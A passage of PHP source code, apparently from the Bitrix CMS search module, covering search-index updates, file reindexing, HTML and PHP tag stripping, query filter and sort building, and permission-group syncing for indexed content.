foreach ($arFields["PERMISSIONS"] as $group_id)
{
if (is_numeric($group_id))
$arGroups[$group_id] = "G".intval($group_id);
else
$arGroups[$group_id] = $group_id;
}
}
$strSqlSelect = "";
if ($bBody) $strSqlSelect .= ",BODY";
if ($bTitle) $strSqlSelect .= ",TITLE";
if ($bTags) $strSqlSelect .= ",TAGS";
$strSql =
"SELECT ID, MODULE_ID, ITEM_ID, ".$DB->DateToCharFunction("DATE_CHANGE")." as DATE_CHANGE
".$strSqlSelect."
FROM b_search_content
WHERE MODULE_ID = '".$DB->ForSQL($MODULE_ID)."'
AND ITEM_ID = '".$DB->ForSQL($ITEM_ID)."' ";
$r = $DB->Query($strSql, false, "File: ".__FILE__."<br>Line: ".__LINE__);
if ($arResult = $r->Fetch())
{
$ID = $arResult["ID"];
if ($bTitle && $bBody && strlen($arFields["BODY"]) <= 0 && strlen($arFields["TITLE"]) <= 0)
{
foreach (GetModuleEvents("search", "OnBeforeIndexDelete", true) as $arEvent)
ExecuteModuleEventEx($arEvent, array("SEARCH_CONTENT_ID = ".$ID));
CSearchTags::CleanCache("", $ID);
CSearch::CleanFreqCache($ID);
$DB->Query("DELETE FROM b_search_content_param WHERE SEARCH_CONTENT_ID = ".$ID, false, "File: ".__FILE__."<br>Line: ".__LINE__);
$DB->Query("DELETE FROM b_search_content_right WHERE SEARCH_CONTENT_ID = ".$ID, false, "File: ".__FILE__."<br>Line: ".__LINE__);
$DB->Query("DELETE FROM b_search_content_site WHERE SEARCH_CONTENT_ID = ".$ID, false, "File: ".__FILE__."<br>Line: ".__LINE__);
$DB->Query("DELETE FROM b_search_content_title WHERE SEARCH_CONTENT_ID = ".$ID, false, "File: ".__FILE__."<br>Line: ".__LINE__);
$DB->Query("DELETE FROM b_search_tags WHERE SEARCH_CONTENT_ID = ".$ID, false, "File: ".__FILE__."<br>Line: ".__LINE__);
CSearchFullText::getInstance()->deleteById($ID);
$DB->Query("DELETE FROM b_search_content WHERE ID = ".$ID, false, "File: ".__FILE__."<br>Line: ".__LINE__);
return 0;
}
if (is_set($arFields, "PARAMS"))
CAllSearch::SetContentItemParams($ID, $arFields["PARAMS"]);
if (count($arGroups) > 0)
CAllSearch::SetContentItemGroups($ID, $arGroups);
if (is_set($arFields, "SITE_ID"))
{
CSearch::UpdateSite($ID, $arFields["SITE_ID"]);
}
if (array_key_exists("LAST_MODIFIED", $arFields))
$arFields["~DATE_CHANGE"] = $arFields["DATE_CHANGE"] = $DATE_CHANGE = $arFields["LAST_MODIFIED"];
elseif (array_key_exists("DATE_CHANGE", $arFields))
$arFields["~DATE_CHANGE"] = $arFields["DATE_CHANGE"] = $DATE_CHANGE = $DB->FormatDate($arFields["DATE_CHANGE"], "DD.MM.YYYY HH:MI:SS", CLang::GetDateFormat());
else
$DATE_CHANGE = '';
if (!$bOverWrite && $DATE_CHANGE == $arResult["DATE_CHANGE"])
{
if (strlen($SEARCH_SESS_ID) > 0)
$DB->Query("UPDATE b_search_content SET UPD='".$DB->ForSql($SEARCH_SESS_ID)."' WHERE ID = ".$ID, false, "File: ".__FILE__."<br>Line: ".__LINE__);
//$DB->Commit();
return $ID;
}
unset($arFields["MODULE_ID"]);
unset($arFields["ITEM_ID"]);
if ($bBody || $bTitle || $bTags)
{
if (array_key_exists("INDEX_TITLE", $arFields) && $arFields["INDEX_TITLE"] === false)
{
$content = "";
}
else
{
if ($bTitle)
$content = $arFields["TITLE"]."\r\n";
else
$content = $arResult["TITLE"]."\r\n";
}
if ($bBody)
$content .= $arFields["BODY"]."\r\n";
else
$content .= $arResult["BODY"]."\r\n";
if ($bTags)
$content .= $arFields["TAGS"];
else
$content .= $arResult["TAGS"];
$content = preg_replace_callback("/&#(\\d+);/", array("CSearch", "chr"), $content);
$arFields["SEARCHABLE_CONTENT"] = CSearch::KillEntities(ToUpper($content));
}
if (strlen($SEARCH_SESS_ID) > 0)
$arFields["UPD"] = $SEARCH_SESS_ID;
if (array_key_exists("TITLE", $arFields))
{
$DB->Query("DELETE FROM b_search_content_title WHERE SEARCH_CONTENT_ID = ".$ID, false, "File: ".__FILE__."<br>Line: ".__LINE__);
if (
!array_key_exists("INDEX_TITLE", $arFields)
|| $arFields["INDEX_TITLE"] !== false
)
CSearch::IndexTitle($arFields["SITE_ID"], $ID, $arFields["TITLE"]);
}
if ($bTags && ($arResult["TAGS"] != $arFields["TAGS"]))
{
CSearchTags::CleanCache("", $ID);
$DB->Query("DELETE FROM b_search_tags WHERE SEARCH_CONTENT_ID = ".$ID, false, "File: ".__FILE__."<br>Line: ".__LINE__);
CSearch::TagsIndex($arFields["SITE_ID"], $ID, $arFields["TAGS"]);
}
foreach (GetModuleEvents("search", "OnBeforeIndexUpdate", true) as $arEvent)
ExecuteModuleEventEx($arEvent, array($ID, $arFields));
CSearch::Update($ID, $arFields);
$arFields["MODULE_ID"] = $arResult['MODULE_ID'];
$arFields["ITEM_ID"] = $arResult['ITEM_ID'];
CSearchFullText::getInstance()->replace($ID, $arFields);
}
else
{
if ($bTitle && $bBody && strlen($arFields["BODY"]) <= 0 && strlen($arFields["TITLE"]) <= 0)
{
//$DB->Commit();
return 0;
}
$arFields["MODULE_ID"] = $MODULE_ID;
$arFields["ITEM_ID"] = $ITEM_ID;
if (array_key_exists("INDEX_TITLE", $arFields) && $arFields["INDEX_TITLE"] === false)
$content = $arFields["BODY"]."\r\n".$arFields["TAGS"];
else
$content = $arFields["TITLE"]."\r\n".$arFields["BODY"]."\r\n".$arFields["TAGS"];
$content = preg_replace_callback("/&#(\\d+);/", array("CSearch", "chr"), $content);
$arFields["SEARCHABLE_CONTENT"] = CSearch::KillEntities(ToUpper($content));
if ($SEARCH_SESS_ID != "")
$arFields["UPD"] = $SEARCH_SESS_ID;
$ID = CSearch::Add($arFields);
//We failed to add this record to the search index
if ($ID === false)
{
//Check if item was added
$strSql = "SELECT ID FROM b_search_content WHERE MODULE_ID = '".$DB->ForSQL($MODULE_ID)."' AND ITEM_ID = '".$DB->ForSQL($ITEM_ID)."' ";
$rs = $DB->Query($strSql, false, "File: ".__FILE__."<br>Line: ".__LINE__);
$ar = $rs->Fetch();
if ($ar)
return $ar["ID"];
else
return $ID;
}
CSearchFullText::getInstance()->replace($ID, $arFields);
foreach (GetModuleEvents("search", "OnAfterIndexAdd", true) as $arEvent)
ExecuteModuleEventEx($arEvent, array($ID, $arFields));
if (is_set($arFields, "PARAMS"))
CAllSearch::SetContentItemParams($ID, $arFields["PARAMS"]);
CAllSearch::SetContentItemGroups($ID, $arGroups);
CSearch::UpdateSite($ID, $arFields["SITE_ID"]);
if (
!array_key_exists("INDEX_TITLE", $arFields)
|| $arFields["INDEX_TITLE"] !== false
)
CSearch::IndexTitle($arFields["SITE_ID"], $ID, $arFields["TITLE"]);
CSearch::TagsIndex($arFields["SITE_ID"], $ID, $arFields["TAGS"]);
}
//$DB->Commit();
return $ID;
}
public static function KillEntities($str)
{
static $arAllEntities = array(
'UMLYA' => ARRAY(
'&IQUEST;', '&AGRAVE;', '&AACUTE;', '&ACIRC;', '&ATILDE;',
'&AUML;', '&ARING;', '&AELIG;', '&CCEDIL;', '&EGRAVE;',
'&EACUTE;', '&ECIRC;', '&EUML;', '&IGRAVE;', '&IACUTE;',
'&ICIRC;', '&IUML;', 'Ð', '&NTILDE;', '&OGRAVE;',
'&OACUTE;', '&OCIRC;', '&OTILDE;', '&OUML;', '&TIMES;',
'&OSLASH;', '&UGRAVE;', '&UACUTE;', '&UCIRC;', '&UUML;',
'&YACUTE;', 'Þ', '&SZLIG;', '&AGRAVE;', '&AACUTE;',
'&ACIRC;', '&ATILDE;', '&AUML;', '&ARING;', '&AELIG;',
'&CCEDIL;', '&EGRAVE;', '&EACUTE;', '&ECIRC;', '&EUML;',
'&IGRAVE;', '&IACUTE;', '&ICIRC;', '&IUML;', 'Ð',
'&NTILDE;', '&OGRAVE;', '&OACUTE;', '&OCIRC;', '&OTILDE;',
'&OUML;', '&DIVIDE;', '&OSLASH;', '&UGRAVE;', '&UACUTE;',
'&UCIRC;', '&UUML;', '&YACUTE;', 'Þ', '&YUML;',
'&OELIG;', '&OELIG;', '&SCARON;', '&SCARON;', '&YUML;',
),
'GREEK' => ARRAY(
'&ALPHA;', '&BETA;', '&GAMMA;', '&DELTA;', '&EPSILON;',
'&ZETA;', '&ETA;', '&THETA;', '&IOTA;', '&KAPPA;',
'&LAMBDA;', '&MU;', '&NU;', '&XI;', '&OMICRON;',
'&PI;', '&RHO;', '&SIGMA;', '&TAU;', '&UPSILON;',
'&PHI;', '&CHI;', '&PSI;', '&OMEGA;', '&ALPHA;',
'&BETA;', '&GAMMA;', '&DELTA;', '&EPSILON;', '&ZETA;',
'&ETA;', '&THETA;', '&IOTA;', '&KAPPA;', '&LAMBDA;',
'&MU;', '&NU;', '&XI;', '&OMICRON;', '&PI;',
'&RHO;', '&SIGMAF;', '&SIGMA;', '&TAU;', '&UPSILON;',
'&PHI;', '&CHI;', '&PSI;', '&OMEGA;', '&THETASYM;',
'&UPSIH;', '&PIV;',
),
'OTHER' => ARRAY(
'&IEXCL;', '&CENT;', '&POUND;', '&CURREN;', '&YEN;',
'&BRVBAR;', '&SECT;', '&UML;', '©', '&ORDF;',
'&LAQUO;', '&NOT;', '®', '&MACR;', '&DEG;',
'&PLUSMN;', '&SUP2;', '&SUP3;', '&ACUTE;', '&MICRO;',
'&PARA;', '&MIDDOT;', '&CEDIL;', '&SUP1;', '&ORDM;',
'&RAQUO;', '&FRAC14;', '&FRAC12;', '&FRAC34;', '&CIRC;',
'&TILDE;', '&ENSP;', '&EMSP;', '&THINSP;', '&ZWNJ;',
'&ZWJ;', '&LRM;', '&RLM;', '&NDASH;', '&MDASH;',
'&LSQUO;', '&RSQUO;', '&SBQUO;', '&LDQUO;', '&RDQUO;',
'&BDQUO;', '&DAGGER;', '&DAGGER;', '&PERMIL;', '&LSAQUO;',
'&RSAQUO;', '&EURO;', '&BULL;', '&HELLIP;', '&PRIME;',
'&PRIME;', '&OLINE;', '&FRASL;', '&WEIERP;', '&IMAGE;',
'&REAL;', '™', '&ALEFSYM;', '&LARR;', '&UARR;',
'&RARR;', '&DARR;', '&HARR;', '&CRARR;', '&LARR;',
'&UARR;', '&RARR;', '&DARR;', '&HARR;', '&FORALL;',
'&PART;', '&EXIST;', '&EMPTY;', '&NABLA;', '&ISIN;',
'&NOTIN;', '&NI;', '&PROD;', '&SUM;', '&MINUS;',
'&LOWAST;', '&RADIC;', '&PROP;', '&INFIN;', '&ANG;',
'&AND;', '&OR;', '&CAP;', '&CUP;', '&INT;',
'&THERE4;', '&SIM;', '&CONG;', '&ASYMP;', '&NE;',
'&EQUIV;', '&LE;', '&GE;', '&SUB;', '&SUP;',
'&NSUB;', '&SUBE;', '&SUPE;', '&OPLUS;', '&OTIMES;',
'&PERP;', '&SDOT;', '&LCEIL;', '&RCEIL;', '&LFLOOR;',
'&RFLOOR;', '&LANG;', '&RANG;', '&LOZ;', '&SPADES;',
'&CLUBS;', '&HEARTS;', '&DIAMS;',
),
);
static $pregEntities = false;
if (!$pregEntities)
{
$pregEntities = array();
foreach ($arAllEntities as $key => $entities)
{
$pregEntities[$key] = implode("|", $entities);
}
}
return preg_replace("/(".implode("|", $pregEntities).")/i", "", $str);
}
public static function ReindexFile($path, $SEARCH_SESS_ID = "")
{
global $APPLICATION;
$io = CBXVirtualIo::GetInstance();
$DB = CDatabase::GetModuleConnection('search');
if (!is_array($path))
return 0;
$file_doc_root = CSite::GetSiteDocRoot($path[0]);
$file_rel_path = $path[1];
$file_abs_path = preg_replace("#[\\\\\\/]+#", "/", $file_doc_root."/".$file_rel_path);
$f = $io->GetFile($file_abs_path);
if (!$f->IsExists() || !$f->IsReadable())
return 0;
if (!CSearch::CheckPath($file_rel_path))
return 0;
$max_file_size = COption::GetOptionInt("search", "max_file_size", 0);
if (
$max_file_size > 0
&& $f->GetFileSize() > ($max_file_size * 1024)
)
return 0;
$file_site = "";
$rsSites = CSite::GetList($by = "lendir", $order = "desc");
while ($arSite = $rsSites->Fetch())
{
$site_path = preg_replace("#[\\\\\\/]+#", "/", $arSite["ABS_DOC_ROOT"]."/".$arSite["DIR"]."/");
if (strpos($file_abs_path, $site_path) === 0)
{
$file_site = $arSite["ID"];
break;
}
}
if ($file_site == "")
return 0;
$item_id = $file_site."|".$file_rel_path;
if (strlen($item_id) > 255)
return 0;
if (strlen($SEARCH_SESS_ID) > 0)
{
$DATE_CHANGE = $DB->CharToDateFunction(
FormatDate(
$DB->DateFormatToPHP(CLang::GetDateFormat("FULL")), $f->GetModificationTime() + CTimeZone::GetOffset()
)
);
$strSql = "
SELECT ID
FROM b_search_content
WHERE MODULE_ID = 'main'
AND ITEM_ID = '".$DB->ForSQL($item_id)."'
AND DATE_CHANGE = ".$DATE_CHANGE."
";
$r = $DB->Query($strSql, false, "File: ".__FILE__."<br>Line: ".__LINE__);
if ($arR = $r->Fetch())
{
$strSql = "UPDATE b_search_content SET UPD='".$DB->ForSQL($SEARCH_SESS_ID)."' WHERE ID = ".$arR["ID"];
$DB->Query($strSql, false, "File: ".__FILE__."<br>Line: ".__LINE__);
return $arR["ID"];
}
}
$arrFile = false;
foreach (GetModuleEvents("search", "OnSearchGetFileContent", true) as $arEvent)
{
if ($arrFile = ExecuteModuleEventEx($arEvent, array($file_abs_path, $SEARCH_SESS_ID)))
break;
}
if (!is_array($arrFile))
{
$sFile = $APPLICATION->GetFileContent($file_abs_path);
$sHeadEndPos = strpos($sFile, "</head>");
if ($sHeadEndPos === false)
$sHeadEndPos = strpos($sFile, "</HEAD>");
if ($sHeadEndPos !== false)
{
//html header detected try to get document charset
$arMetaMatch = array();
if (preg_match("/<(meta)\\s+([^>]*)(content)\\s*=\\s*(['\"]).*?(charset)\\s*=\\s*(.*?)(\\4)/is", substr($sFile, 0, $sHeadEndPos), $arMetaMatch))
{
$doc_charset = $arMetaMatch[6];
if (defined("BX_UTF"))
{
if (strtoupper($doc_charset) != "UTF-8")
$sFile = $APPLICATION->ConvertCharset($sFile, $doc_charset, "UTF-8");
}
}
}
$arrFile = ParseFileContent($sFile);
}
$title = CSearch::KillTags(trim($arrFile["TITLE"]));
if (strlen($title) <= 0)
return 0;
//strip out all the tags
$filesrc = CSearch::KillTags($arrFile["CONTENT"]);
$arGroups = CSearch::GetGroupCached();
$arGPerm = Array();
foreach ($arGroups as $group_id)
{
$p = $APPLICATION->GetFileAccessPermission(Array($file_site, $file_rel_path), Array($group_id));
if ($p >= "R")
{
$arGPerm[] = $group_id;
if ($group_id == 2) break;
}
}
$tags = COption::GetOptionString("search", "page_tag_property");
//save to database
$ID = CSearch::Index("main", $item_id,
Array(
"SITE_ID" => $file_site,
"DATE_CHANGE" => date("d.m.Y H:i:s", $f->GetModificationTime() + 1),
"PARAM1" => "",
"PARAM2" => "",
"URL" => $file_rel_path,
"PERMISSIONS" => $arGPerm,
"TITLE" => $title,
"BODY" => $filesrc,
"TAGS" => array_key_exists($tags, $arrFile["PROPERTIES"])? $arrFile["PROPERTIES"][$tags]: "",
), false, $SEARCH_SESS_ID
);
return $ID;
}
public static function RecurseIndex($path = Array(), $max_execution_time = 0, &$NS)
{
if (!is_array($path))
return 0;
$site = $path[0];
$path = $path[1];
$DOC_ROOT = CSite::GetSiteDocRoot($site);
$abs_path = $DOC_ROOT.$path;
$io = CBXVirtualIo::GetInstance();
if (!$io->DirectoryExists($abs_path))
return 0;
$f = $io->GetFile($abs_path);
if (!$f->IsReadable())
return 0;
$d = $io->GetDirectory($abs_path);
foreach ($d->GetChildren() as $dir_entry)
{
$path_file = $path."/".$dir_entry->GetName();
if ($dir_entry->IsDirectory())
{
if ($path_file == "/bitrix")
continue;
//this is not first step and we had stopped here, so go on to reindex
if (
$max_execution_time <= 0
|| strlen($NS["MODULE"]) <= 0
|| (
$NS["MODULE"] == "main"
&& substr($NS["ID"]."/", 0, strlen($site."|".$path_file."/")) == $site."|".$path_file."/"
)
)
{
if (CSearch::CheckPath($path_file."/") !== false)
{
if (CSearch::RecurseIndex(Array($site, $path_file), $max_execution_time, $NS) === false)
return false;
}
}
else //all done
{
continue;
}
}
else
{
//not the first step and we found last file from previous one
if (
$max_execution_time > 0
&& strlen($NS["MODULE"]) > 0
&& $NS["MODULE"] == "main"
&& $NS["ID"] == $site."|".$path_file
)
{
$NS["MODULE"] = "";
}
elseif (strlen($NS["MODULE"]) <= 0)
{
$ID = CSearch::ReindexFile(Array($site, $path_file), $NS["SESS_ID"]);
if (intval($ID) > 0)
{
$NS["CNT"] = intval($NS["CNT"]) + 1;
}
if (
$max_execution_time > 0
&& (getmicrotime() - START_EXEC_TIME > $max_execution_time)
)
{
$NS["MODULE"] = "main";
$NS["ID"] = $site."|".$path_file;
return false;
}
}
}
}
return true;
}
public static function RemovePHP($str)
{
$res = "";
$a = preg_split('/(<'.'\\?|\\?'.'>|\\/\\'.'*|\\'.'*'.'\\/|\\/\\/|\'|"|\\n)/', $str, -1, PREG_SPLIT_DELIM_CAPTURE);
$c = count($a);
$i = 0;
$bPHP = false;
while ($i < $c)
{
if ($a[$i] == '\'' && $bPHP)
{
while ((++$i) < $c)
{
if ($a[$i] === '\'')
{
$m = array();
if (preg_match('/(\\\\+)$/', $a[$i - 1], $m))
{
if ((strlen($m[1]) % 2) == 0) //non even slashes
break;
}
else
{
break;
}
}
}
}
elseif ($a[$i] == '"' && $bPHP)
{
while ((++$i) < $c)
{
if ($a[$i] === '"')
{
if (preg_match('/(\\\\+)$/', $a[$i - 1], $m))
{
if ((strlen($m[1]) % 2) == 0) //non even slashes
break;
}
else
break;
}
}
}
elseif ($a[$i] == '//' && $bPHP)
{
//single line comment
while ((++$i) < $c)
{
if ($a[$i] === "\n" || $a[$i] === '?>')
break;
}
continue;
}
elseif ($a[$i] === '/*' && $bPHP)
{
while ((++$i) < $c)
{
if ($a[$i] === '*/')
break;
}
continue;
}
elseif ($a[$i] === '<?' && !$bPHP) //start of php
{
$bPHP = true;
$i++;
continue;
}
elseif ($a[$i] === '?>' && $bPHP) //end of php
{
$bPHP = false;
$i++;
continue;
}
if (!$bPHP)
$res .= $a[$i];
$i++;
}
return $res;
}
public static function KillTags($str)
{
$str = CSearch::RemovePHP($str);
static $search = array(
"'<!--.*?-->'si", // Strip out javascript
"'<script[^>]*?>.*?</script>'si", // Strip out javascript
"'<style[^>]*?>.*?</style>'si", // Strip out styles
"'<select[^>]*?>.*?</select>'si", // Strip out <select></select>
"'<head[^>]*?>.*?</head>'si", // Strip out <head></head>
"'<tr[^>]*?>'",
"'<[^>]*?>'",
"'([\\r\\n])[\\s]+'", // Strip out white space
"'&(quot|#34);'i", // Replace html entities
"'&(amp|#38);'i",
"'&(lt|#60);'i",
"'&(gt|#62);'i",
"'&(nbsp|#160);'i",
"'[ ]+ '",
);
static $replace = array(
"",
"",
"",
"",
"",
"\r\n",
"\r\n",
"\\1",
"\"",
"&",
"<",
">",
" ",
" ",
);
$str = preg_replace($search, $replace, $str);
return $str;
}
public static function OnChangeFile($path, $site)
{
CSearch::ReindexFile(Array($site, $path));
}
public static function OnGroupDelete($ID)
{
$DB = CDatabase::GetModuleConnection('search');
$DB->Query("
DELETE FROM b_search_content_right
WHERE GROUP_CODE = 'G".IntVal($ID)."'
", false, "File: ".__FILE__."<br>Line: ".__LINE__);
}
public static function __PrepareFilter($arFilter, &$bIncSites, $strSearchContentAlias = "sc.")
{
$DB = CDatabase::GetModuleConnection('search');
$arSql = array();
$arNewFilter = array();
static $arFilterEvents = false;
if (!is_array($arFilter))
$arFilter = array();
foreach ($arFilter as $field => $val)
{
$field = strtoupper($field);
if (
is_array($val)
&& count($val) == 1
&& $field !== "URL"
&& $field !== "PARAMS"
)
$val = $val[0];
switch ($field)
{
case "=MODULE_ID":
if ($val !== false && $val !== "no")
$arNewFilter[$field] = $val;
break;
case "MODULE_ID":
if ($val !== false && $val !== "no")
$arNewFilter["=".$field] = $val;
break;
case "ITEM_ID":
case "PARAM1":
case "PARAM2":
if ($val !== false)
$arNewFilter["=".$field] = $val;
break;
case "CHECK_DATES":
if ($val == "Y")
{
$time = ConvertTimeStamp(time() + CTimeZone::GetOffset(), "FULL");
$arNewFilter[] = array(
"LOGIC" => "AND",
array(
"LOGIC" => "OR",
"=DATE_FROM" => false,
"<=DATE_FROM" => $time,
),
array(
"LOGIC" => "OR",
"=DATE_TO" => false,
">=DATE_TO" => $time,
),
);
}
break;
case "DATE_CHANGE":
if (strlen($val) > 0)
$arNewFilter[">=".$field] = $val;
break;
case "SITE_ID":
if ($val !== false)
$arNewFilter["=".$field] = $val;
break;
default:
if (!is_array($arFilterEvents))
{
$arFilterEvents = array();
foreach (GetModuleEvents("search", "OnSearchPrepareFilter", true) as $arEvent)
$arFilterEvents[] = $arEvent;
}
//Try to get someone to make the filter sql
$sql = "";
foreach ($arFilterEvents as $arEvent)
{
$sql = ExecuteModuleEventEx($arEvent, array($strSearchContentAlias, $field, $val));
if (strlen($sql))
{
$arSql[] = "(".$sql.")";
break;
}
}
if (!$sql)
$arNewFilter[$field] = $val;
}
}
$strSearchContentAlias = rtrim($strSearchContentAlias, ".");
$obWhereHelp = new CSearchSQLHelper($strSearchContentAlias);
$obQueryWhere = new CSQLWhere;
$obQueryWhere->SetFields(array(
"MODULE_ID" => array(
"TABLE_ALIAS" => $strSearchContentAlias,
"FIELD_NAME" => $strSearchContentAlias.".MODULE_ID",
"MULTIPLE" => "N",
"FIELD_TYPE" => "string",
"JOIN" => false,
),
"ITEM_ID" => array(
"TABLE_ALIAS" => $strSearchContentAlias,
"FIELD_NAME" => $strSearchContentAlias.".ITEM_ID",
"MULTIPLE" => "N",
"FIELD_TYPE" => "string",
"JOIN" => false,
),
"PARAM1" => array(
"TABLE_ALIAS" => $strSearchContentAlias,
"FIELD_NAME" => $strSearchContentAlias.".PARAM1",
"MULTIPLE" => "N",
"FIELD_TYPE" => "string",
"JOIN" => false,
),
"PARAM2" => array(
"TABLE_ALIAS" => $strSearchContentAlias,
"FIELD_NAME" => $strSearchContentAlias.".PARAM2",
"MULTIPLE" => "N",
"FIELD_TYPE" => "string",
"JOIN" => false,
),
"DATE_FROM" => array(
"TABLE_ALIAS" => $strSearchContentAlias,
"FIELD_NAME" => $strSearchContentAlias.".DATE_FROM",
"MULTIPLE" => "N",
"FIELD_TYPE" => "datetime",
"JOIN" => false,
),
"DATE_TO" => array(
"TABLE_ALIAS" => $strSearchContentAlias,
"FIELD_NAME" => $strSearchContentAlias.".DATE_TO",
"MULTIPLE" => "N",
"FIELD_TYPE" => "datetime",
"JOIN" => false,
),
"DATE_CHANGE" => array(
"TABLE_ALIAS" => $strSearchContentAlias,
"FIELD_NAME" => $strSearchContentAlias.".DATE_CHANGE",
"MULTIPLE" => "N",
"FIELD_TYPE" => "datetime",
"JOIN" => false,
),
"SITE_ID" => array(
"TABLE_ALIAS" => "scsite",
"FIELD_NAME" => "scsite.SITE_ID",
"MULTIPLE" => "N",
"FIELD_TYPE" => "string",
"JOIN" => true,
),
"SITE_URL" => array(
"TABLE_ALIAS" => "scsite",
"FIELD_NAME" => "scsite.URL",
"MULTIPLE" => "N",
"FIELD_TYPE" => "string",
"JOIN" => true,
),
"URL" => array(
"TABLE_ALIAS" => $strSearchContentAlias,
"FIELD_NAME" => $strSearchContentAlias.".URL",
"MULTIPLE" => "N",
"FIELD_TYPE" => "callback",
"CALLBACK" => array($obWhereHelp, "_CallbackURL"),
"JOIN" => true,
),
"PARAMS" => array(
"TABLE_ALIAS" => $strSearchContentAlias,
"FIELD_NAME" => $strSearchContentAlias.".ID",
"MULTIPLE" => "N",
"FIELD_TYPE" => "callback",
"CALLBACK" => array($obWhereHelp, "_CallbackPARAMS"),
"JOIN" => false,
),
));
$strWhere = $obQueryWhere->GetQuery($arNewFilter);
if (count($arSql) > 0)
{
if ($strWhere)
$strWhere .= "\nAND (".implode(" AND ", $arSql).")";
else
$strWhere = implode("\nAND ", $arSql);
}
$bIncSites = $bIncSites || strlen($obQueryWhere->GetJoins()) > 0;
return $strWhere;
}
function __PrepareSort($aSort = array(), $strSearchContentAlias = "sc.", $bTagsCloud = false)
{
$arOrder = array();
if (!is_array($aSort))
$aSort = array($aSort => "ASC");
if ($bTagsCloud)
{
foreach ($aSort as $key => $ord)
{
$ord = strtoupper($ord) <> "ASC"? "DESC": "ASC";
$key = strtoupper($key);
switch ($key)
{
case "DATE_CHANGE":
$arOrder[] = "DC_TMP ".$ord;
break;
case "NAME":
case "CNT":
$arOrder[] = $key." ".$ord;
break;
}
}
if (count($arOrder) == 0)
{
$arOrder[] = "NAME ASC";
}
}
else
{
$this->flagsUseRatingSort = 0;
foreach ($aSort as $key => $ord)
{
$ord = strtoupper($ord) <> "ASC"? "DESC": "ASC";
$key = strtoupper($key);
switch ($key)
{
case "DATE_CHANGE":
if (!($this->flagsUseRatingSort & 0x01))
$this->flagsUseRatingSort = 0x02;
$arOrder[] = $strSearchContentAlias.$key." ".$ord;
break;
case "RANK":
if (!($this->flagsUseRatingSort & 0x02))
$this->flagsUseRatingSort = 0x01;
$arOrder[] = '`'.$key."` ".$ord;
break;
case "TITLE_RANK":
case "CUSTOM_RANK":
$arOrder[] = $key." ".$ord;
break;
case "ID":
case "MODULE_ID":
case "ITEM_ID":
case "TITLE":
case "PARAM1":
case "PARAM2":
case "UPD":
case "DATE_FROM":
case "DATE_TO":
case "URL":
if (!($this->flagsUseRatingSort & 0x01))
$this->flagsUseRatingSort = 0x02;
$arOrder[] = $key." ".$ord;
break;
}
}
if (count($arOrder) == 0)
{
$arOrder[] = "CUSTOM_RANK DESC";
$arOrder[] = "`RANK` DESC";
$arOrder[] = $strSearchContentAlias."DATE_CHANGE DESC";
$this->flagsUseRatingSort = 0x01;
}
}
return " ORDER BY ".implode(", ", $arOrder);
}
public static function Add($arFields)
{
$DB = CDatabase::GetModuleConnection('search');
if (array_key_exists("~DATE_CHANGE", $arFields))
{
$arFields["DATE_CHANGE"] = $arFields["~DATE_CHANGE"];
unset($arFields["~DATE_CHANGE"]);
}
elseif (array_key_exists("LAST_MODIFIED", $arFields))
{
$arFields["DATE_CHANGE"] = $arFields["LAST_MODIFIED"];
unset($arFields["LAST_MODIFIED"]);
}
elseif (array_key_exists("DATE_CHANGE", $arFields))
{
$arFields["DATE_CHANGE"] = $DB->FormatDate($arFields["DATE_CHANGE"], "DD.MM.YYYY HH:MI:SS", CLang::GetDateFormat());
}
$arInsert = $DB->PrepareInsert("b_search_content", $arFields);
$strSql = "REPLACE INTO b_search_content (".$arInsert[0].") VALUES (".$arInsert[1].")";
$DB->Query($strSql);
return $DB->LastID();
}
public static function OnChangeFilePermissions($path, $permission = array(), $old_permission = array(), $arGroups = false)
{
global $APPLICATION;
$DB = CDatabase::GetModuleConnection('search');
$site = false;
CMain::InitPathVars($site, $path);
$DOC_ROOT = CSite::GetSiteDocRoot($site);
$path = rtrim($path, "/");
if (!is_array($arGroups))
{
$arGroups = CSearch::GetGroupCached();
//Check if anonymous permission was changed
if (!array_key_exists(2, $permission) && array_key_exists("*", $permission))
$permission[2] = $permission["*"];
if (!is_array($old_permission))
$old_permission = array();
if (!array_key_exists(2, $old_permission) && array_key_exists("*", $old_permission))
$old_permission[2] = $old_permission["*"];
//And if not when will do nothing
if (
(array_key_exists(2, $permission)
&& $permission[2] >= "R")
&& array_key_exists(2, $old_permission)
&& $old_permission[2] >= "R"
)
{
return;
}
}
if (file_exists($DOC_ROOT.$path))
{
@set_time_limit(300);
if (is_dir($DOC_ROOT.$path))
{
$handle = @opendir($DOC_ROOT.$path);
while (false !== ($file = @readdir($handle)))
{
if ($file == "." || $file == "..")
continue;
$full_file = $path."/".$file;
if ($full_file == "/bitrix")
continue;
if (is_dir($DOC_ROOT.$full_file) || CSearch::CheckPath($full_file))
CSearch::OnChangeFilePermissions(array($site, $full_file), array(), array(), $arGroups);
}
}
else//if(is_dir($DOC_ROOT.$path))
{
$rs = $DB->Query("
SELECT SC.ID
FROM b_search_content SC
WHERE MODULE_ID='main'
AND ITEM_ID='".$DB->ForSql($site."|".$path)."'
", false, "File: ".__FILE__."<br>Line: ".__LINE__);
if ($ar = $rs->Fetch())
{
$arNewGroups = array();
foreach ($arGroups as $group_id)
{
$p = $APPLICATION->GetFileAccessPermission(array($site, $path), array($group_id));
if ($p >= "R")
{
$arNewGroups[$group_id] = 'G'.$group_id;
if ($group_id == 2)
break;
}
}
CAllSearch::SetContentItemGroups($ar["ID"], $arNewGroups);
}
} //if(is_dir($DOC_ROOT.$path))
}//if(file_exists($DOC_ROOT.$path))
}
public static function SetContentItemGroups($index_id, $arGroups)
{
$DB = CDatabase::GetModuleConnection('search');
$index_id = intval($index_id);
$arToInsert = array();
foreach ($arGroups as $group_code)
if (strlen($group_code))
$arToInsert[$group_code] = $group_code;
//Read database
$rs = $DB->Query("
SELECT * FROM b_search_content_right
WHERE SEARCH_CONTENT_ID = ".$index_id."
", false, "File: ".__FILE__."<br>Line: ".__LINE__);
while ($ar = $rs->Fetch())
{
$group_code = $ar["GROUP_CODE"];
if (isset($arToInsert[$group_code]))
unset($arToInsert[$group_code]); //This already in DB
else
$DB->Query("
DELETE FROM b_search_content_right
WHERE
SEARCH_CONTENT_ID = ".$index_id."
AND GROUP_CODE = '".$DB->ForSQL($group_code)."'
", false, "File: ".__FILE__."<br>Line: ".__LINE__); //And this should be deleted
}
foreach ($arToInsert as $group_code)
{
$DB->Query("
INSERT INTO b_search_content_right
(SEARCH_CONTENT_ID, GROUP_CODE)
VALUES
(".$index_id.", '".$DB->ForSQL($group_code, 100)."')
", true, "File: ".__FILE__."<br>Line: ".__LINE__);
}
}
public static function CheckPermissions($FIELD = "sc.ID")
{
